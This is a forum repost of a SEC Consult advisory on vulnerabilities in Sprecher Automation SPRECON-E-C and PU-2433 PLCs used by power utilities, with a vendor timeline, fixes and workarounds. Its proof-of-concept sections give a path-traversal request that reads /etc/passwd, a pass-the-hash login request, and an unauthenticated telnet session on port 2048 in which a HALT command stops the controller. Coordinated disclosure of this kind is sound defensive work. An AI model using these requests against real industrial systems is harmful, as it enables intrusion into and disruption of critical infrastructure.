Sprecher Automation SPRECON-E-C / PU-2433 Traversal / DoS

  1. 6 weeks ago

    Men in Black

    May 6 Administrator + 72753 RP

    h87.png

    Sprecher Automation SPRECON-E-C and PU-2433 versions prior to 8.49 suffer from directory traversal, missing authentication, broken authentication, and denial of service vulnerabilities.

    MD5 | 3eee1d1477c9814e48ff458b33bc5936

    Download => SA-20180131-0.txt

    SEC Consult Vulnerability Lab Security Advisory < 20180131-0 >
    =======================================================================
                  title: Multiple Vulnerabilities
                product: Sprecher Automation SPRECON-E-C, PU-2433
     vulnerable version: <8.49 (most vulnerabilities, see "Vulnerable version" for
                         details)
          fixed version: 8.49 (most vulnerabilities, see "Solution" for details)
             CVE number: -
                 impact: Medium
               homepage: https://www.sprecher-automation.com
                  found: 2017-08-15
                     by: T. Weber, C.A. (Office Vienna)
                         SEC Consult Vulnerability Lab
    
                         An integrated part of SEC Consult
                         Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
                         Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
    
                         https://www.sec-consult.com
    
    =======================================================================
    
    Vendor description:
    -------------------
    "Sprecher Automation GmbH offers switchgears and automation solutions
    for energy, industry and infrastructure processes. Our customers are
    power utilities, industries, transportation companies, municipal
    utilities and public institutions.
    
    Company-own developments and cooperations with technology
    partners lead to a unique product portfolio consisting of traditional
    electrical technologies as well as high-tech electronics."
    
    Source: https://www.sprecher-automation.com/en/
    
    
    Business recommendation:
    ------------------------
    SEC Consult recommends to immediately patch the systems and follow the
    hardening guide provided by the vendor (SEC Consult did not have access to the
    hardening guide in order to review it).
    
    A thorough security review should be performed by security professionals as
    further security issues might exist within the product.
    
    
    Vulnerability overview/description:
    -----------------------------------
    1) Authenticated Path Traversal Vulnerability
    The web interface of the Sprecher PLC suffers from a path traversal
    vulnerability. A user which is authenticated on the web interface,
    which is intended as read-only interface, can download files with the
    permissions of the webserver (www-data).
    
    Files like "/etc/shadow" are not readable for the webserver.
    
    
    2) Client-Side Password Hashing
    The password hashes which are stored on the system can be directly
    used to authenticate on the web interface (pass-the-hash) since the password
    is hashed in the browser of the user during login.
    
    
    3) Missing Authentication
    The PLC exposes a Telnet management service on TCP port 2048.
    This interface can be used to control the PLC and does not require any
    authentication.
    
    
    4) Permanent Denial of Service via Portscan
    An aggressive TCP SYN scan on a large amount of ports triggers a denial
    of service of the PLC service. This results in an persistent DoS of the
    standby PLC in an active - standby pair. Manual operator intervention is
    required to restore service availability.
    
    
    5) Outdated Linux Kernel
    An ancient Linux kernel version with a high number of known security weaknesses
    is used for the PLC base operating system.
    
    
    Proof of concept:
    -----------------
    1) Authenticated Path Traversal Vulnerability
    Reading "passwd" is possible by triggering the following request:
    -------------------------------------------------------------------------------
    GET /webserver/cgi-bin/spre.cgi?4_1=../../../../../../../etc/passwd HTTP/1.1
    Host: <IP-Address>
    Cookie: sid=<SESSION-ID>
    Connection: close
    Upgrade-Insecure-Requests: 1
    -------------------------------------------------------------------------------
    
    The file is directly fetched from the system:
    -------------------------------------------------------------------------------
    root:x:0:0:root:/root:/bin/sh
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    sys:x:3:3:sys:/dev:/bin/sh
    sync:x:4:100:sync:/bin:/bin/sync
    mail:x:8:8:mail:/var/spool/mail:/bin/sh
    proxy:x:13:13:proxy:/bin:/bin/sh
    www-data:x:33:33:www-data:/var/www:/bin/sh
    backup:x:34:34:backup:/var/backups:/bin/sh
    operator:x:37:37:Operator:/var:/bin/sh
    haldaemon:x:68:68:hald:/:/bin/sh
    dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
    nobody:x:99:99:nobody:/home:/bin/sh
    sshd:x:103:99:Operator:/var:/bin/sh
    [...]
    -------------------------------------------------------------------------------
    
    
    2) Client-Side Password Hashing
    The passwords are hashed in JavaScript before they are transmitted to the
    device. Therefore the hash is as good as the password.
    
    The following request shows a login process:
    -------------------------------------------------------------------------------
    POST /webserver/cgi-bin/spre.cgi HTTP/1.1
    Host: <IP-Address>
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: application/json
    Accept-Language: de
    Content-Type: application/x-www-form-urlencoded
    If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT
    Referer: http://<IP-Address>/Webserver.html?locale=de
    Content-Length: 57
    Connection: close
    
    cgi_time&user=admin&pswd=<md5-hash>
    -------------------------------------------------------------------------------
    
    
    3) Missing Authentication
    An administrative interface was presented after connecting to port 2048 via
    Telnet:
    $ telnet <IP-Address> 2048
    
    100 OK: Portable IEC 61131-3 RT Scheduler for Linux (RTK) $Revision: 1.17 $
            Scheduling mode: application timer/timer-tick preserving
            Copyright (c) kirchner SOFT GmbH 1994-2002. All rights reserved.
    HELP
    104 OK: Portable IEC 61131-3 RT Scheduler for Linux (RTK) $Revision: 1.17 $
            Scheduling mode: application timer/timer-tick preserving
            Copyright (c) kirchner SOFT GmbH 1994-2002. All rights reserved.
              HELP, ? .......................... show this help
              QUIT, EXIT ....................... quit command session
              STOP ............................. stop execution
              CONT [TASK|EP] <id> .............. continue execution
              STRT ............................. start system
              REST ............................. restart system if breaked
              HALT ............................. quit scheduler
              SHOW [TASKS|SCHED|REVISIONS] ..... show information
              SHOW [BREAKPOINTS] ............... show breakpoint list
              EXEC <TASK> <id> ................. execute a task
              EXEC_MS <ms> [flags] ............. execute code for a specific time
              EXEC_CYCLES <no> [flags] ......... execute code for cycles
              STEP TASK <id> <INTO|OVER|OUT> ... single step (task)
              STEP EP <id> <INTO|OVER|OUT> ..... single step (task of EP)
              ADD_BREAKPOINT <bp> .............. add breakpoint
              DELETE_BREAKPOINT <bp|ALL> ....... delete breakpoints
              ENABLE_BREAKPOINT <bp|ALL> ....... enable breakpoints
              DISABLE_BREAKPOINT <bp|ALL> ...... disable breakpoints
              READ <variable> .................. read variable as string
              READ_LONG <variable> ............. read variable as long
              READ_DOUBLE <variable> ........... read variable as double
              WRITE <variable> <value> ......... write variable with string const.
              WRITE_LONG <variable> <value> .... write variable with long value
              WRITE_DOUBLE <variable> <value> .. write variable with double value
              GET_LONGNAME <variable> .......... get variable information
              GET_TYPENAME <variable> .......... get variable information
              CHECK_VAR <variable> ............. check if variable exists
              USER name ........................ identify user
              PASS pw .......................... authenticate with password
              BIN .............................. switch to binary protocol mode
    
    The PLC can be restarted with the "HALT" command (PLC returns after about 30 seconds):
    
    HALT
    200 OK: shutting down application tasks
    201 OK: waiting for application tasks
    202 OK: shutting down system
    Connection closed by foreign host.
    
    
    4) Permanent Denial of Service via Portscan
    An aggressive portscan triggered a persistent denial of service of the standby PLC
    in an active - standby setup.
    
    
    5) Outdated Linux Kernel
    By using the path traversal vulnerability (1) the Linux kernel version has been
    retrieved:
    -------------------------------------------------------------------------------
    Linux version 2.6.20-sp16 (kd@jeannie) (gcc version 4.4.6 (Buildroot 2011.05))
    #1 PREEMPT Mon Feb 29 12:06:28 CET 2016
    -------------------------------------------------------------------------------
    
    
    Vulnerable versions:
    -----------------------------
    The following versions are affected by the identified vulnerabilities:
    1) Authenticated Path Traversal Vulnerability
    all versions < 8.49
    
    2) Client-Side Password Hashing
    all versions < 8.49
    
    3) Missing Authentication
    all versions
    
    4) Permanent Denial of Service via Portscan
    all versions
    
    5) Outdated Linux Kernel
    all versions < 8.49
    
    
    Vendor contact timeline:
    ------------------------
    2017-09-22: Requesting vendor security contact and encryption keys
    2017-09-25: Vendor provides S/MIME certificate for encryption
    2017-09-25: Advisory is submitted to the vendor
    2017-09-25: Call with vendor contact. Contact states that the vulnerabilities
                are known and fixed in different newer firmware versions.
                Contact will provide a list of firmware versions with the fixes.
    2017-10-02: Requesting update.
    2017-10-02: Vendor states they will provide feedback by the following week.
    2017-10-12: SEC Consult sends reminder for requested information.
    2017-10-13: Vendor states they will provide missing information until 2017-10-20.
    2017-10-20: Vendor requested some more time (2017-11-03) to prepare hardening
                guide to be linked in advisory.
    2017-11-03: Vendor provides affected and fixed versions, workaround information
                and reference to hardening guideline
    2018-01-29: Vendor provides an update regarding the hardening guide document ID.
                It was changed to from 94.2.915.95 to 94.2.913.50.
    2018-01-30: Vendor requested changes for the "passwd" file in the advisory.
                Removed the Vendor-specific user accounts in the PoC.
    2018-01-31: Coordinated public release.
    
    
    Solution:
    ---------
    1) Authenticated Path Traversal Vulnerability
    Fixed in version 8.49 (available since 2016-05-13)
    
    2) Client-Side Password Hashing
    Fixed in version 8.49 (available since 2016-05-13)
    
    3) Missing Authentication
    see workaround
    
    4) Permanent Denial of Service via Portscan
    see workaround
    
    5) Outdated Linux Kernel
    Fixed in version 8.49 (available since 2016-05-13)
    
    
    Workaround:
    -----------
    1) Authenticated Path Traversal Vulnerability
    As a workaround, if a firmware update is not feasible due to operational constraints,
    the webserver can be deactivated. The webserver is not necessary for operation,
    as all maintenance can be done via the SPRECON-E service program.
    
    2) Client-Side Password Hashing
    see (1)
    
    
    3) Missing Authentication
    Remote debugging of the Software-PLC is possible via the "secure service channel"
    instead of this Telnet service.
    The optional Telnet service can be disabled to mitigate this vulnerability.
    (According to the vendor it is disabled by default.)
    
    See the vendor's hardening guideline available for all registered customers:
    https://download.sprecher-automation.com/de/login (document ID 94.2.913.50).
    
    
    4) Permanent Denial of Service via Portscan
    According to the vendor the denial of service via portscan can be mitigated using
    the packet filter.
    
    See the vendor's hardening guideline available for all registered customers:
    https://download.sprecher-automation.com/de/login (document ID 94.2.913.50).
    
    
    5) Outdated Linux Kernel
    no workaround available
    
    
    Advisory URL:
    -------------
    https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
    
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    SEC Consult Vulnerability Lab
    
    SEC Consult
    Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
    Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
    
    About SEC Consult Vulnerability Lab
    The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
    ensures the continued knowledge gain of SEC Consult in the field of network
    and application security to stay ahead of the attacker. The SEC Consult
    Vulnerability Lab supports high-quality penetration testing and the evaluation
    of new offensive and defensive technologies for our customers. Hence our
    customers obtain the most current information about vulnerabilities and valid
    recommendation about the risk profile of new technologies.
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Interested to work with the experts of SEC Consult?
    Send us your application https://www.sec-consult.com/en/career/index.html
    
    Interested in improving your cyber security with the experts of SEC Consult?
    Contact our local offices https://www.sec-consult.com/en/about-us/index.html
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Mail: research at sec-consult dot com
    Web: https://www.sec-consult.com
    Blog: http://blog.sec-consult.com
    Twitter: https://twitter.com/sec_consult
    
    EOF T.Weber / @2018
 

or Sign Up to reply!